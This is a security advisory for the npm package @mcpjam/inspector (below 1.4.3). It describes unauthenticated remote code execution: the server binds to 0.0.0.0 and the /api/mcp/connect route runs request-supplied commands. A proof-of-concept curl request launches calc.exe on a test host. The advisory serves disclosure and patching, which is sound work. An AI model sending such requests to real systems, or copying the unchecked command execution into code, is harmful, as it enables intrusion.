GHSA-232v-j27c-5pp6
REC in MCPJam inspector due to HTTP Endpoint exposes
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @mcpjam/inspector | < 1.4.3 | 1.4.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.
This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.
### Details
MCPJam inspector binds to `0.0.0.0` making its HTTP APIs remotely reachable.
``` TypeScript
const server = serve({
fetch: app.fetch,
port: SERVER_PORT,
hostname: "0.0.0.0",
});
```
The `/api/mcp/connect` API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the `/connect` route, the system extracts the `command` and `args` fields without performing any security checks, leading to the execution of arbitrary command.
### PoC
(1) Start up the MCPJam inspector as Github README
`npx @mcpjam/inspector@latest`
(2) RCE by posting a HTTP request
A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).
`curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"`
<img width="1669" height="1397" alt="image" src="https://github.com/user-attachments/assets/cb6505f1-3cdd-4c64-8f39-a01619a63411" />
### Impact
Remote Code Execution (RCE)
References
External links from the advisory. They lead to third-party sites.